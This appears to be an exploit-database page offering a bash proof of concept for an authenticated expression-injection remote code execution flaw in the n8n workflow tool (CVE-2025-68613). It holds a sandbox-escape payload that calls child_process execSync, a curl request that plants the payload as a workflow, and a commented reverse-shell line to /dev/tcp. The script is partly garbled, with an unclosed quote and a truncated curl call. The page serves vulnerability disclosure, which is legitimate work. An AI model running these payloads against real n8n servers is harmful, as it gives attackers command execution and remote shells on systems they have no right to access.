Skip to content
n8n-Authenticated-Expression-Injection-RCE-CVE-2025

n8n-Authenticated-Expression-Injection-RCE-CVE-2025

Sploitus • November 27, 2026

##

# n8n Authenticated Expression Injection RCE – CVE-2025-68613

**Critical Remote Code Execution (CVSS 9.9) in n8n Workflow Automation Tool**

_Proof of Concept – For educational and authorized security research use only_

**This code is provided STRICTLY for educational purposes and authorized security testing in controlled lab environments.**

**Unauthorized use on production systems or any system without explicit written permission is illegal** and violates computer misuse and cybersecurity laws in most jurisdictions.

**Use at your own risk. The author is not responsible for any misuse.**

Exploit Title| n8n Authenticated Expression Injection Remote Code Execution

/ Social| Instagram: @banyamer_security

Software Repository| github.com/n8n-io/n8n

Patched Versions| 1.120.4, 1.121.1, 1.122.0 and above

Vulnerability Type| Authenticated Remote Code Execution via Expression Sandbox Escape

This vulnerability allows an **authenticated** user to create or modify workflows using malicious expressions that bypass n8n's expression sandbox, resulting in full operating system command execution with the privileges of the n8n process.

### Proof of Concept – Bash Exploit Script

# Exploit Title: n8n Authenticated Expression Injection RCE

# Software Link:

TARGET=" # ← Change to your target

API_KEY="your_n8n_api_key_here" # ← Insert valid API Key (or use Basic Auth / session)

CMD="id" # ← Test command

# Example reverse shell: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

PAYLOAD="{{ (function(){ return this.process.mainModule.require('child_process').execSync('${CMD}').toString() })() }}"

echo "[*] Sending malicious workflow to ${TARGET}"

curl -s -X POST "${TARGET}/rest/workflows" \

echo -e "\n[!] Check n8n logs or the output node in the created workflow for command result\n"

Extracted Entities

CWE Weaknesses (1)

MITRE ATT&CK (1)

Platforms (1)